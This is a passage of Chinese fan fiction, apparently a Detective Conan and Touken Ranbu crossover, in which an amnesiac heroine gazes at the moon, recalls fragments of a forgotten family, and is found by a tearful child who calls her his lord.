“小阵平也是,一直皱着眉头可是会变丑的哦,小心以后吓到女孩子。” “哈,这种事情只有你才会在意吧。” “小阵平怎么能这么说呢!”…… —— 来到屋外的鸢尾站在路灯旁,脚在地上一点一点地,悠闲地踩着自己的影子。 果然,来到店铺外面,人一少空气就变得清新起来了。 自己跟自己玩了一会儿,鸢尾又觉得无聊起来,仰头盯着天上一弯新月。悬挂在黑紫色的天幕上,就像…… 她的眼前突然浮现出一双漂亮的眼睛,那样一双眼里似乎也倒映着和今天晚上一样的月牙。 嗯……好熟悉啊,是谁的眼睛呢? 等她再仔细去想的时候,脑海里就又变成一片空白了。 唉。她默默叹了口气。 又是这样。像这样的情况,今天在她脑子里已经出现过好几次了。 看到咖啡店外面的几朵假花,就会浮现出一个小孩子的身影;看到警察局里面的电脑,就会联想到一双戴着红色眼镜的笑眯眯的眼睛;看到烤肉,也会回忆起谁曾经也坐在她身边,将看起来就美味的天妇罗夹进她的盘子里…… 可是他们到底是谁呢?她想要抓住记忆的尾巴,可是记忆就像握不住的细沙一样瞬即从她的脑海中溜走。 不过虽然想不起他们具体的样子,可是在她仅能回忆起来的画面中,带给她的感觉永远都是愉快的、平和的、温馨的——就像家一样。所以……他们都是她的家人吗? 嗯,这么看来,她家还是挺人丁兴旺的。 虽然对自己现在的姓氏总有一种不满的奇怪感觉,但是当提到“家人”这样的词的时候,自己倒是没有什么抗拒的想法呢。 真奇怪啊。她再一次感慨,自己以前到底过的是什么样的生活,所以现在才会形成这样矛盾的感觉呢? 一直仰头盯着那抹弯月,鸢尾也感觉自己的脖子有点酸了。收回视线,她正准备揉揉脖子,却被一个瘦小的温暖的身影撞入怀中。 她听见那个小孩子忍着哭腔,“主、主公大人,我终于找到您了呜……” 然后,一滴冰凉的水滴轻轻划过她的指尖。